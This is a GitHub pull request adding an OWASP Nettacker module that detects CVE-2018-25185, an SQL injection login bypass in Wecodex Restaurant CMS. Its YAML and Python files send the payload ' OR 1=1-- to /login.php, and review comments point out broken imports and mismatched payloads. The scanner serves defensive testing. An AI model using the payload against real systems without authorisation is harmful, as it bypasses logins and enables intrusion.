-
-
Notifications
You must be signed in to change notification settings - Fork 1.1k
Add module for CVE-2018-25185 (Wecodex SQLi) #1462
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,47 @@ | ||
| info: | ||
| name: cve_2018_25185_sqli | ||
| author: Gopika | ||
| severity: 8 | ||
| description: SQL Injection vulnerability in Wecodex Restaurant CMS 1.0 via username parameter in /login.php allowing authentication bypass. | ||
| reference: | ||
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-25185 | ||
| profiles: | ||
| - vuln | ||
| - vulnerability | ||
| - http | ||
| - high_severity | ||
| - cve2018 | ||
| - cve | ||
| - sqli | ||
|
|
||
| payloads: | ||
| - library: http | ||
| steps: | ||
| - method: post | ||
| timeout: 3 | ||
| headers: | ||
| User-Agent: "{user_agent}" | ||
| allow_redirects: false | ||
| ssl: false | ||
| url: | ||
| nettacker_fuzzer: | ||
| input_format: "{{schema}}://{target}:{{ports}}/login.php" | ||
| prefix: "" | ||
| suffix: "" | ||
| interceptors: | ||
| data: | ||
| schema: | ||
| - "http" | ||
| ports: | ||
| - 8080 | ||
| data: | ||
| "username=admin' OR 1=1--&password=test" | ||
| response: | ||
| condition_type: and | ||
| conditions: | ||
| status_code: | ||
| regex: "200" | ||
| reverse: false | ||
| content: | ||
| regex: "Welcome admin dashboard" | ||
| reverse: false | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,52 @@ | ||
| """ | ||
| cve_2018_25185_vuln.py | ||
| ---------------------- | ||
| Author: K. Gopika | ||
| Description: OWASP Nettacker module to detect CVE-2018-25185 | ||
| (SQL Injection in Wecodex Restaurant CMS 1.0) | ||
| Version: 1.0 | ||
|
|
||
| Detection Logic: | ||
| - Sends a POST request to /login.php | ||
| - Injects a simple SQL payload: "' OR 1=1--" | ||
| - Checks for response behavior indicative of SQL injection | ||
| - Does NOT perform any destructive actions | ||
| """ | ||
|
|
||
| import requests | ||
| from modules.core import * | ||
| from modules import print_good, print_error | ||
|
Comment on lines
+16
to
+18
Contributor
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 🧩 Analysis chain🏁 Script executed: #!/bin/bash
# Verify the correct import paths in Nettacker
echo "=== Check package structure ==="
fd -t d -d 2 . nettacker/
echo ""
echo "=== Check how other modules import core functionality ==="
rg -n "^from nettacker" nettacker/modules/ | head -20
echo ""
echo "=== Check if modules.core exists ==="
fd -p "modules/core" nettacker/Repository: OWASP/Nettacker Length of output: 561 🏁 Script executed: #!/bin/bash
# Check actual import patterns in modules directory
echo "=== Import patterns in nettacker/modules/ (sample) ==="
rg -n "^(from|import)" nettacker/modules/ | head -30
echo ""
echo "=== Check the specific file content ==="
cat -n nettacker/modules/vuln/cve_2018_25185_vuln.py | head -25Repository: OWASP/Nettacker Length of output: 1256 🏁 Script executed: #!/bin/bash
# Find where print_good and print_error are defined
echo "=== Search for print_good and print_error definitions ==="
rg -n "def print_good|def print_error" nettacker/
echo ""
echo "=== Check __init__.py files ==="
find nettacker/ -name "__init__.py" -type f
echo ""
echo "=== Check if modules directory has __init__.py ==="
ls -la nettacker/modules/__init__.py 2>&1
echo ""
echo "=== Check all imports using modules. pattern ==="
rg -n "from modules\.|import modules" nettacker/ | head -20Repository: OWASP/Nettacker Length of output: 860 🏁 Script executed: #!/bin/bash
# Search more broadly for print_good and print_error
echo "=== Search for print_good everywhere ==="
rg "print_good" nettacker/ | head -20
echo ""
echo "=== Check a sample of other vuln module imports ==="
head -30 nettacker/modules/vuln/cve_2021_3177_vuln.py 2>/dev/null || head -30 nettacker/modules/scan/*.py 2>/dev/null | head -40
echo ""
echo "=== List some vuln module files ==="
ls nettacker/modules/vuln/ | head -10
echo ""
echo "=== Check core __init__.py for exported functions ==="
head -50 nettacker/core/__init__.pyRepository: OWASP/Nettacker Length of output: 757 🏁 Script executed: #!/bin/bash
# Find all Python files in modules
echo "=== All .py files in nettacker/modules/ ==="
find nettacker/modules/ -name "*.py" -type f
echo ""
echo "=== Full content of core/__init__.py ==="
cat nettacker/core/__init__.py
echo ""
echo "=== Check main.py for sys.path setup ==="
grep -n "sys.path\|insert\|append" nettacker/main.py | head -20
echo ""
echo "=== Check if modules package exists anywhere ==="
find . -maxdepth 2 -name "modules" -type dRepository: OWASP/Nettacker Length of output: 302 Fix invalid imports that will cause runtime failure. The imports are incorrect for Nettacker's package structure:
Additionally, the wildcard import makes it impossible to determine what names are being imported and is flagged by static analysis (F403). 🧰 Tools🪛 Ruff (0.15.7)[error] 17-17: (F403) 🤖 Prompt for AI Agents |
||
|
|
||
| # Module metadata for Nettacker | ||
| MODULE_NAME = "cve_2018_25185_vuln" | ||
| MODULE_DESCRIPTION = "Detects CVE-2018-25185 SQLi in Wecodex Restaurant CMS" | ||
| MODULE_AUTHOR = "K. Gopika" | ||
| MODULE_VERSION = "1.0" | ||
|
|
||
| def scan(target_ip, target_port): | ||
| """ | ||
| Main scan function for the module | ||
| """ | ||
| url = f"http://{target_ip}:{target_port}/login.php" | ||
| payload = {"username": "' OR 1=1--", "password": "password"} | ||
|
|
||
| try: | ||
| response = requests.post(url, data=payload, timeout=5) | ||
|
|
||
| # Check for conditions indicating SQLi | ||
| if "Welcome admin dashboard" in response.text and response.status_code == 200: | ||
| print_good(f"[+] {target_ip}:{target_port} is vulnerable (CVE-2018-25185)") | ||
| return {"target": target_ip, "port": target_port, "status": "Detected"} | ||
| else: | ||
| print_error(f"[-] {target_ip}:{target_port} appears safe") | ||
| return {"target": target_ip, "port": target_port, "status": "Not Detected"} | ||
|
|
||
| except requests.exceptions.RequestException as e: | ||
| print_error(f"[!] Error connecting to {url}: {e}") | ||
| return {"target": target_ip, "port": target_port, "status": "Error"} | ||
|
|
||
| # Entry point for manual testing | ||
| if __name__ == "__main__": | ||
| target_ip = input("Enter target IP: ") | ||
| target_port = input("Enter target port: ") | ||
| scan(target_ip, target_port) | ||
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Payload inconsistency with companion Python module.
The YAML payload uses
username=admin' OR 1=1--&password=testwhile the Python file (cve_2018_25185_vuln.pyline 31) usesusername=' OR 1=1--&password=password. Both the username prefix (admin'vs') and password value (testvspassword) differ, which could lead to inconsistent detection results.Recommend aligning both implementations to use the same payload values.
🤖 Prompt for AI Agents